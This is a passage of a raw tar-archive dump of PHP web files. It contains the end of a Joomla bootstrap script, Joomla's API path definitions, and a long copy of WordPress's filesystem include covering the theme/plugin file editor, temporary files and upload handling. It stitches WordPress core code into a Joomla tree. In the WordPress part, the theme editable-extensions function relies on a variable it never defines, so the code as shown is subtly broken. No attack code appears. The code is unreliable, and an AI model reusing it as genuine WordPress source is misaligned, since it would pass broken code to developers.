			new \Symfony\Component\ErrorHandler\ErrorHandler(null, true),
			'renderException'
		]
	);
}

/**
 * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
 *
 * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
 * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
 */
if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1)
{
	// If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
	IpHelper::setAllowIpOverrides(true);
}
else
{
	// We disable the allowing of IP overriding using headers by default.
	IpHelper::setAllowIpOverrides(false);
}

unset($config);
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������index.html������������������������������������������������������������������������������������������0000604�����������������00000000037�15074613445�0006546 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!DOCTYPE html><title></title>
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������defines.php�����������������������������������������������������������������������������������������0000604�����������������00000002262�15074613445�0006701 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package    Joomla.API
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
array_pop($parts);

// Defines.
define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE',          JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE',         JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
define('JPATH_API',           JPATH_ROOT . DIRECTORY_SEPARATOR . 'api');
define('JPATH_CLI',           JPATH_ROOT . DIRECTORY_SEPARATOR . 'cli');
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������file.php��������������������������������������������������������������������������������������������0000604�����������������00000244510�15074613445�0006207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Filesystem API: Top-level functionality
 *
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Filesystem
 * @since 2.3.0
 */

/** The descriptions for theme files. */
$wp_file_descriptions = array(
	'functions.php'         => __( 'Theme Functions' ),
	'header.php'            => __( 'Theme Header' ),
	'footer.php'            => __( 'Theme Footer' ),
	'sidebar.php'           => __( 'Sidebar' ),
	'comments.php'          => __( 'Comments' ),
	'searchform.php'        => __( 'Search Form' ),
	'404.php'               => __( '404 Template' ),
	'link.php'              => __( 'Links Template' ),
	// Archives.
	'index.php'             => __( 'Main Index Template' ),
	'archive.php'           => __( 'Archives' ),
	'author.php'            => __( 'Author Template' ),
	'taxonomy.php'          => __( 'Taxonomy Template' ),
	'category.php'          => __( 'Category Template' ),
	'tag.php'               => __( 'Tag Template' ),
	'home.php'              => __( 'Posts Page' ),
	'search.php'            => __( 'Search Results' ),
	'date.php'              => __( 'Date Template' ),
	// Content.
	'singular.php'          => __( 'Singular Template' ),
	'single.php'            => __( 'Single Post' ),
	'page.php'              => __( 'Single Page' ),
	'front-page.php'        => __( 'Homepage' ),
	'privacy-policy.php'    => __( 'Privacy Policy Page' ),
	// Attachments.
	'attachment.php'        => __( 'Attachment Template' ),
	'image.php'             => __( 'Image Attachment Template' ),
	'video.php'             => __( 'Video Attachment Template' ),
	'audio.php'             => __( 'Audio Attachment Template' ),
	'application.php'       => __( 'Application Attachment Template' ),
	// Embeds.
	'embed.php'             => __( 'Embed Template' ),
	'embed-404.php'         => __( 'Embed 404 Template' ),
	'embed-content.php'     => __( 'Embed Content Template' ),
	'header-embed.php'      => __( 'Embed Header Template' ),
	'footer-embed.php'      => __( 'Embed Footer Template' ),
	// Stylesheets.
	'style.css'             => __( 'Stylesheet' ),
	'editor-style.css'      => __( 'Visual Editor Stylesheet' ),
	'editor-style-rtl.css'  => __( 'Visual Editor RTL Stylesheet' ),
	'rtl.css'               => __( 'RTL Stylesheet' ),
	// Other.
	'my-hacks.php'          => __( 'my-hacks.php (legacy hacks support)' ),
	'.htaccess'             => __( '.htaccess (for rewrite rules )' ),
	// Deprecated files.
	'wp-layout.css'         => __( 'Stylesheet' ),
	'wp-comments.php'       => __( 'Comments Template' ),
	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
	'comments-popup.php'    => __( 'Popup Comments' ),
);

/**
 * Gets the description for standard WordPress theme files.
 *
 * @since 1.5.0
 *
 * @global array $wp_file_descriptions Theme file descriptions.
 * @global array $allowed_files        List of allowed files.
 *
 * @param string $file Filesystem path or filename.
 * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist.
 *                Appends 'Page Template' to basename of $file if the file is a page template.
 */
function get_file_description( $file ) {
	global $wp_file_descriptions, $allowed_files;

$dirname   = pathinfo( $file, PATHINFO_DIRNAME );
	$file_path = $allowed_files[ $file ];

if ( isset( $wp_file_descriptions[ basename( $file ) ] ) && '.' === $dirname ) {
		return $wp_file_descriptions[ basename( $file ) ];
	} elseif ( file_exists( $file_path ) && is_file( $file_path ) ) {
		$template_data = implode( '', file( $file_path ) );

if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) {
			/* translators: %s: Template name. */
			return sprintf( __( '%s Page Template' ), _cleanup_header_comment( $name[1] ) );
		}
	}

return trim( basename( $file ) );
}

/**
 * Gets the absolute filesystem path to the root of the WordPress installation.
 *
 * @since 1.5.0
 *
 * @return string Full filesystem path to the root of the WordPress installation.
 */
function get_home_path() {
	$home    = set_url_scheme( get_option( 'home' ), 'http' );
	$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );

if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
		$pos                 = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
		$home_path           = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
		$home_path           = trailingslashit( $home_path );
	} else {
		$home_path = ABSPATH;
	}

return str_replace( '\\', '/', $home_path );
}

/**
 * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
 *
 * The depth of the recursiveness can be controlled by the $levels param.
 *
 * @since 2.6.0
 * @since 4.9.0 Added the `$exclusions` parameter.
 *
 * @param string   $folder     Optional. Full path to folder. Default empty.
 * @param int      $levels     Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
 * @param string[] $exclusions Optional. List of folders and files to skip.
 * @return bool|string[] False on failure, else array of files.
 */
function list_files( $folder = '', $levels = 100, $exclusions = array() ) {
	if ( empty( $folder ) ) {
		return false;
	}

$folder = trailingslashit( $folder );

if ( ! $levels ) {
		return false;
	}

$files = array();

$dir = @opendir( $folder );
	if ( $dir ) {
		while ( ( $file = readdir( $dir ) ) !== false ) {
			// Skip current and parent folder links.
			if ( in_array( $file, array( '.', '..' ), true ) ) {
				continue;
			}

// Skip hidden and excluded files.
			if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
				continue;
			}

if ( is_dir( $folder . $file ) ) {
				$files2 = list_files( $folder . $file, $levels - 1 );
				if ( $files2 ) {
					$files = array_merge( $files, $files2 );
				} else {
					$files[] = $folder . $file . '/';
				}
			} else {
				$files[] = $folder . $file;
			}
		}

closedir( $dir );
	}

return $files;
}

/**
 * Gets the list of file extensions that are editable in plugins.
 *
 * @since 4.9.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of editable file extensions.
 */
function wp_get_plugin_file_editable_extensions( $plugin ) {

$default_types = array(
		'bash',
		'conf',
		'css',
		'diff',
		'htm',
		'html',
		'http',
		'inc',
		'include',
		'js',
		'json',
		'jsx',
		'less',
		'md',
		'patch',
		'php',
		'php3',
		'php4',
		'php5',
		'php7',
		'phps',
		'phtml',
		'sass',
		'scss',
		'sh',
		'sql',
		'svg',
		'text',
		'txt',
		'xml',
		'yaml',
		'yml',
	);

/**
	 * Filters the list of file types allowed for editing in the plugin editor.
	 *
	 * @since 2.8.0
	 * @since 4.9.0 Added the `$plugin` parameter.
	 *
	 * @param string[] $default_types An array of editable plugin file extensions.
	 * @param string   $plugin        Path to the plugin file relative to the plugins directory.
	 */
	$file_types = (array) apply_filters( 'editable_extensions', $default_types, $plugin );

return $file_types;
}

/**
 * Gets the list of file extensions that are editable for a given theme.
 *
 * @since 4.9.0
 *
 * @param WP_Theme $theme Theme object.
 * @return string[] Array of editable file extensions.
 */
function wp_get_theme_file_editable_extensions( $theme ) {

/**
	 * Filters the list of file types allowed for editing in the theme editor.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $default_types An array of editable theme file extensions.
	 * @param WP_Theme $theme         The current theme object.
	 */
	$file_types = apply_filters( 'wp_theme_editor_filetypes', $default_types, $theme );

// Ensure that default types are still there.
	return array_unique( array_merge( $file_types, $default_types ) );
}

/**
 * Prints file editor templates (for plugins and themes).
 *
 * @since 4.9.0
 */
function wp_print_file_editor_templates() {
	?>
	<script type="text/html" id="tmpl-wp-file-editor-notice">
		<div class="notice inline notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.classes || '' }}">
			<# if ( 'php_error' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: 1: Line number, 2: File path. */
						__( 'Your PHP code changes were rolled back due to an error on line %1$s of file %2$s. Please fix and try saving again.' ),
						'{{ data.line }}',
						'{{ data.file }}'
					);
					?>
				</p>
				<pre>{{ data.message }}</pre>
			<# } else if ( 'file_not_writable' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: %s: Documentation URL. */
						__( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ),
						__( 'https://wordpress.org/support/article/changing-file-permissions/' )
					);
					?>
				</p>
			<# } else { #>
				<p>{{ data.message || data.code }}</p>

<# if ( 'lint_errors' === data.code ) { #>
					<p>
						<# var elementId = 'el-' + String( Math.random() ); #>
						<input id="{{ elementId }}"  type="checkbox">
						<label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label>
					</p>
				<# } #>
			<# } #>
			<# if ( data.dismissible ) { #>
				<button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php _e( 'Dismiss' ); ?></span></button>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Attempts to edit a file for a theme or plugin.
 *
 * When editing a PHP file, loopback requests will be made to the admin and the homepage
 * to attempt to see if there is a fatal error introduced. If so, the PHP change will be
 * reverted.
 *
 * @since 4.9.0
 *
 * @param string[] $args {
 *     Args. Note that all of the arg values are already unslashed. They are, however,
 *     coming straight from `$_POST` and are not validated or sanitized in any way.
 *
 *     @type string $file       Relative path to file.
 *     @type string $plugin     Path to the plugin file relative to the plugins directory.
 *     @type string $theme      Theme being edited.
 *     @type string $newcontent New content for the file.
 *     @type string $nonce      Nonce.
 * }
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_edit_theme_plugin_file( $args ) {
	if ( empty( $args['file'] ) ) {
		return new WP_Error( 'missing_file' );
	}
	$file = $args['file'];
	if ( 0 !== validate_file( $file ) ) {
		return new WP_Error( 'bad_file' );
	}

if ( ! isset( $args['newcontent'] ) ) {
		return new WP_Error( 'missing_content' );
	}
	$content = $args['newcontent'];

if ( ! isset( $args['nonce'] ) ) {
		return new WP_Error( 'missing_nonce' );
	}

$plugin    = null;
	$theme     = null;
	$real_file = null;
	if ( ! empty( $args['plugin'] ) ) {
		$plugin = $args['plugin'];

if ( ! current_user_can( 'edit_plugins' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit plugins for this site.' ) );
		}

if ( ! wp_verify_nonce( $args['nonce'], 'edit-plugin_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

if ( ! array_key_exists( $plugin, get_plugins() ) ) {
			return new WP_Error( 'invalid_plugin' );
		}

if ( 0 !== validate_file( $file, get_plugin_files( $plugin ) ) ) {
			return new WP_Error( 'bad_plugin_file_path', __( 'Sorry, that file cannot be edited.' ) );
		}

$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );

$real_file = WP_PLUGIN_DIR . '/' . $file;

$is_active = in_array(
			$plugin,
			(array) get_option( 'active_plugins', array() ),
			true
		);

} elseif ( ! empty( $args['theme'] ) ) {
		$stylesheet = $args['theme'];
		if ( 0 !== validate_file( $stylesheet ) ) {
			return new WP_Error( 'bad_theme_path' );
		}

if ( ! current_user_can( 'edit_themes' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit templates for this site.' ) );
		}

$theme = wp_get_theme( $stylesheet );
		if ( ! $theme->exists() ) {
			return new WP_Error( 'non_existent_theme', __( 'The requested theme does not exist.' ) );
		}

if ( ! wp_verify_nonce( $args['nonce'], 'edit-theme_' . $stylesheet . '_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
			return new WP_Error(
				'theme_no_stylesheet',
				__( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message()
			);
		}

$editable_extensions = wp_get_theme_file_editable_extensions( $theme );

$allowed_files = array();
		foreach ( $editable_extensions as $type ) {
			switch ( $type ) {
				case 'php':
					$allowed_files = array_merge( $allowed_files, $theme->get_files( 'php', -1 ) );
					break;
				case 'css':
					$style_files                = $theme->get_files( 'css', -1 );
					$allowed_files['style.css'] = $style_files['style.css'];
					$allowed_files              = array_merge( $allowed_files, $style_files );
					break;
				default:
					$allowed_files = array_merge( $allowed_files, $theme->get_files( $type, -1 ) );
					break;
			}
		}

// Compare based on relative paths.
		if ( 0 !== validate_file( $file, array_keys( $allowed_files ) ) ) {
			return new WP_Error( 'disallowed_theme_file', __( 'Sorry, that file cannot be edited.' ) );
		}

$real_file = $theme->get_stylesheet_directory() . '/' . $file;

$is_active = ( get_stylesheet() === $stylesheet || get_template() === $stylesheet );

} else {
		return new WP_Error( 'missing_theme_or_plugin' );
	}

// Ensure file is real.
	if ( ! is_file( $real_file ) ) {
		return new WP_Error( 'file_does_not_exist', __( 'File does not exist! Please double check the name and try again.' ) );
	}

// Ensure file extension is allowed.
	$extension = null;
	if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
		$extension = strtolower( $matches[1] );
		if ( ! in_array( $extension, $editable_extensions, true ) ) {
			return new WP_Error( 'illegal_file_type', __( 'Files of this type are not editable.' ) );
		}
	}

$previous_content = file_get_contents( $real_file );

if ( ! is_writeable( $real_file ) ) {
		return new WP_Error( 'file_not_writable' );
	}

$f = fopen( $real_file, 'w+' );
	if ( false === $f ) {
		return new WP_Error( 'file_not_writable' );
	}

$written = fwrite( $f, $content );
	fclose( $f );
	if ( false === $written ) {
		return new WP_Error( 'unable_to_write', __( 'Unable to write to file.' ) );
	}

wp_opcache_invalidate( $real_file, true );

if ( $is_active && 'php' === $extension ) {

$scrape_key   = md5( rand() );
		$transient    = 'scrape_key_' . $scrape_key;
		$scrape_nonce = strval( rand() );
		// It shouldn't take more than 60 seconds to make the two loopback requests.
		set_transient( $transient, $scrape_nonce, 60 );

$cookies       = wp_unslash( $_COOKIE );
		$scrape_params = array(
			'wp_scrape_key'   => $scrape_key,
			'wp_scrape_nonce' => $scrape_nonce,
		);
		$headers       = array(
			'Cache-Control' => 'no-cache',
		);

/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

// Make sure PHP process doesn't die before loopback requests complete.
		set_time_limit( 300 );

// Time to wait for loopback requests to finish.
		$timeout = 100;

$needle_start = "###### wp_scraping_result_start:$scrape_key ######";
		$needle_end   = "###### wp_scraping_result_end:$scrape_key ######";

// Attempt loopback request to editor to see if user just whitescreened themselves.
		if ( $plugin ) {
			$url = add_query_arg( compact( 'plugin', 'file' ), admin_url( 'plugin-editor.php' ) );
		} elseif ( isset( $stylesheet ) ) {
			$url = add_query_arg(
				array(
					'theme' => $stylesheet,
					'file'  => $file,
				),
				admin_url( 'theme-editor.php' )
			);
		} else {
			$url = admin_url();
		}

if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
			// Close any active session to prevent HTTP requests from timing out
			// when attempting to connect back to the site.
			session_write_close();
		}

$url                    = add_query_arg( $scrape_params, $url );
		$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
		$body                   = wp_remote_retrieve_body( $r );
		$scrape_result_position = strpos( $body, $needle_start );

$loopback_request_failure = array(
			'code'    => 'loopback_request_failed',
			'message' => __( 'Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.' ),
		);
		$json_parse_failure       = array(
			'code' => 'json_parse_error',
		);

$result = null;
		if ( false === $scrape_result_position ) {
			$result = $loopback_request_failure;
		} else {
			$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
			$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
			$result       = json_decode( trim( $error_output ), true );
			if ( empty( $result ) ) {
				$result = $json_parse_failure;
			}
		}

// Try making request to homepage as well to see if visitors have been whitescreened.
		if ( true === $result ) {
			$url                    = home_url( '/' );
			$url                    = add_query_arg( $scrape_params, $url );
			$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
			$body                   = wp_remote_retrieve_body( $r );
			$scrape_result_position = strpos( $body, $needle_start );

if ( false === $scrape_result_position ) {
				$result = $loopback_request_failure;
			} else {
				$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
				$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
				$result       = json_decode( trim( $error_output ), true );
				if ( empty( $result ) ) {
					$result = $json_parse_failure;
				}
			}
		}

delete_transient( $transient );

if ( true !== $result ) {

// Roll-back file change.
			file_put_contents( $real_file, $previous_content );
			wp_opcache_invalidate( $real_file, true );

if ( ! isset( $result['message'] ) ) {
				$message = __( 'Something went wrong.' );
			} else {
				$message = $result['message'];
				unset( $result['message'] );
			}
			return new WP_Error( 'php_error', $message, $result );
		}
	}

if ( $theme instanceof WP_Theme ) {
		$theme->cache_delete();
	}

return true;
}

/**
 * Returns a filename of a temporary unique file.
 *
 * Please note that the calling function must unlink() this itself.
 *
 * The filename is based off the passed parameter or defaults to the current unix timestamp,
 * while the directory can either be passed as well, or by leaving it blank, default to a writable
 * temporary directory.
 *
 * @since 2.6.0
 *
 * @param string $filename Optional. Filename to base the Unique file off. Default empty.
 * @param string $dir      Optional. Directory to store the file in. Default empty.
 * @return string A writable filename.
 */
function wp_tempnam( $filename = '', $dir = '' ) {
	if ( empty( $dir ) ) {
		$dir = get_temp_dir();
	}

if ( empty( $filename ) || in_array( $filename, array( '.', '/', '\\' ), true ) ) {
		$filename = uniqid();
	}

// Use the basename of the given file without the extension as the name for the temporary directory.
	$temp_filename = basename( $filename );
	$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );

// If the folder is falsey, use its parent directory name instead.
	if ( ! $temp_filename ) {
		return wp_tempnam( dirname( $filename ), $dir );
	}

// Suffix some random data to avoid filename conflicts.
	$temp_filename .= '-' . wp_generate_password( 6, false );
	$temp_filename .= '.tmp';
	$temp_filename  = $dir . wp_unique_filename( $dir, $temp_filename );

$fp = @fopen( $temp_filename, 'x' );
	if ( ! $fp && is_writable( $dir ) && file_exists( $temp_filename ) ) {
		return wp_tempnam( $filename, $dir );
	}
	if ( $fp ) {
		fclose( $fp );
	}

return $temp_filename;
}

/**
 * Makes sure that the file that was requested to be edited is allowed to be edited.
 *
 * Function will die if you are not allowed to edit the file.
 *
 * @since 1.5.0
 *
 * @param string   $file          File the user is attempting to edit.
 * @param string[] $allowed_files Optional. Array of allowed files to edit.
 *                                `$file` must match an entry exactly.
 * @return string|void Returns the file name on success, dies on failure.
 */
function validate_file_to_edit( $file, $allowed_files = array() ) {
	$code = validate_file( $file, $allowed_files );

if ( ! $code ) {
		return $file;
	}

switch ( $code ) {
		case 1:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );

// case 2 :
			// wp_die( __('Sorry, can&#8217;t call files with their real path.' ));

case 3:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );
	}
}

/**
 * Handles PHP uploads in WordPress.
 *
 * Sanitizes file names, checks extensions for mime type, and moves the file
 * to the appropriate directory within the uploads directory.
 *
 * @access private
 * @since 4.0.0
 *
 * @see wp_handle_upload_error
 *
 * @param string[]       $file      Reference to a single element of `$_FILES`.
 *                                  Call the function once for each uploaded file.
 * @param string[]|false $overrides An associative array of names => values
 *                                  to override default variables. Default false.
 * @param string         $time      Time formatted in 'yyyy/mm'.
 * @param string         $action    Expected value for `$_POST['action']`.
 * @return string[] On success, returns an associative array of file attributes.
 *                  On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
 *                  or `array( 'error' => $message )`.
 */
function _wp_handle_upload( &$file, $overrides, $time, $action ) {
	// The default error handler.
	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
		function wp_handle_upload_error( &$file, $message ) {
			return array( 'error' => $message );
		}
	}

/**
	 * Filters the data for a file before it is uploaded to WordPress.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the post action.
	 *
	 * @since 2.9.0 as 'wp_handle_upload_prefilter'.
	 * @since 4.0.0 Converted to a dynamic hook with `$action`.
	 *
	 * @param string[] $file An array of data for a single file.
	 */
	$file = apply_filters( "{$action}_prefilter", $file );

// You may define your own function and pass the name in $overrides['upload_error_handler'].
	$upload_error_handler = 'wp_handle_upload_error';
	if ( isset( $overrides['upload_error_handler'] ) ) {
		$upload_error_handler = $overrides['upload_error_handler'];
	}

// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
	if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $file['error'] ) );
	}

// Install user overrides. Did we mention that this voids your warranty?

// You may define your own function and pass the name in $overrides['unique_filename_callback'].
	$unique_filename_callback = null;
	if ( isset( $overrides['unique_filename_callback'] ) ) {
		$unique_filename_callback = $overrides['unique_filename_callback'];
	}

/*
	 * This may not have originally been intended to be overridable,
	 * but historically has been.
	 */
	if ( isset( $overrides['upload_error_strings'] ) ) {
		$upload_error_strings = $overrides['upload_error_strings'];
	} else {
		// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
		$upload_error_strings = array(
			false,
			sprintf(
				/* translators: 1: upload_max_filesize, 2: php.ini */
				__( 'The uploaded file exceeds the %1$s directive in %2$s.' ),
				'upload_max_filesize',
				'php.ini'
			),
			sprintf(
				/* translators: %s: MAX_FILE_SIZE */
				__( 'The uploaded file exceeds the %s directive that was specified in the HTML form.' ),
				'MAX_FILE_SIZE'
			),
			__( 'The uploaded file was only partially uploaded.' ),
			__( 'No file was uploaded.' ),
			'',
			__( 'Missing a temporary folder.' ),
			__( 'Failed to write file to disk.' ),
			__( 'File upload stopped by extension.' ),
		);
	}

// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
	$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
	$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;

// If you override this, you must provide $ext and $type!!
	$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
	$mimes     = isset( $overrides['mimes'] ) ? $overrides['mimes'] : false;

// A correct form post will pass this test.
	if ( $test_form && ( ! isset( $_POST['action'] ) || ( $_POST['action'] != $action ) ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Invalid form submission.' ) ) );
	}
	// A successful upload will pass this test. It makes no sense to override this one.
	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $upload_error_strings[ $file['error'] ] ) );
	}

// A properly uploaded file will pass this test. There should be no reason to override this one.
	$test_uploaded_file = 'wp_handle_upload' === $action ? is_uploaded_file( $file['tmp_name'] ) : @is_readable( $file['tmp_name'] );
	if ( ! $test_uploaded_file ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Specified file failed upload test.' ) ) );
	}

$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
	// A non-empty file will pass this test.
	if ( $test_size && ! ( $test_file_size > 0 ) ) {
		if ( is_multisite() ) {
			$error_msg = __( 'File is empty. Please upload something more substantial.' );
		} else {
			$error_msg = sprintf(
				/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
				__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
				'php.ini',
				'post_max_size',
				'upload_max_filesize'
			);
		}
		return call_user_func_array( $upload_error_handler, array( &$file, $error_msg ) );
	}

// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
	if ( $test_type ) {
		$wp_filetype     = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
		$ext             = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
		$type            = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
		$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];

// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect.
		if ( $proper_filename ) {
			$file['name'] = $proper_filename;
		}
		if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
			return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, this file type is not permitted for security reasons.' ) ) );
		}
		if ( ! $type ) {
			$type = $file['type'];
		}
	} else {
		$type = '';
	}

/*
	 * A writable uploads dir will pass this test. Again, there's no point
	 * overriding this one.
	 */
	$uploads = wp_upload_dir( $time );
	if ( ! ( $uploads && false === $uploads['error'] ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $uploads['error'] ) );
	}

$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );

// Move the file to the uploads dir.
	$new_file = $uploads['path'] . "/$filename";

/**
	 * Filters whether to short-circuit moving the uploaded file after passing all checks.
	 *
	 * If a non-null value is returned from the filter, moving the file and any related
	 * error reporting will be completely skipped.
	 *
	 * @since 4.9.0
	 *
	 * @param mixed    $move_new_file If null (default) move the file after the upload.
	 * @param string[] $file          An array of data for a single file.
	 * @param string   $new_file      Filename of the newly-uploaded file.
	 * @param string   $type          Mime type of the newly-uploaded file.
	 */
	$move_new_file = apply_filters( 'pre_move_uploaded_file', null, $file, $new_file, $type );

if ( null === $move_new_file ) {
		if ( 'wp_handle_upload' === $action ) {
			$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );
		} else {
			// Use copy and unlink because rename breaks streams.
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			$move_new_file = @copy( $file['tmp_name'], $new_file );
			unlink( $file['tmp_name'] );
		}

if ( false === $move_new_file ) {
			if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
				$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
			} else {
				$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
			}
			return $upload_error_handler(
				$file,
				sprintf(
					/* translators: %s: Destination file path. */
					__( 'The uploaded file could not be moved to %s.' ),
					$error_path
				)
			);
		}
	}

// Set correct file permissions.
	$stat  = stat( dirname( $new_file ) );
	$perms = $stat['mode'] & 0000666;
	chmod( $new_file, $perms );

// Compute the URL.
	$url = $uploads['url'] . "/$filename";

if ( is_multisite() ) {
		delete_transient( 'dirsize_cache' );
	}

/**
	 * Filters the data array for the uploaded file.
	 *
	 * @since 2.1.0
	 *
	 * @param array  $upload {
	 *     Array of upload data.
	 *
	 *     @type string $file Filename of the newly-uploaded file.
	 *     @type string $url  URL of the newly-uploaded file.
	 *     @type string $type Mime type of the newly-uploaded file.
	 * }
	 * @param string $context The type of upload action. Values include 'upload' or 'sideload'.
	 */
	return apply_filters(
		'wp_handle_upload',
		array(
			'file' => $new_file,
			'url'  => $url,
			'type' => $type,
		),
		'wp_handle_sideload' === $action ? 'sideload' : 'upload'
	);
}

/**
 * Wrapper for _wp_handle_upload().
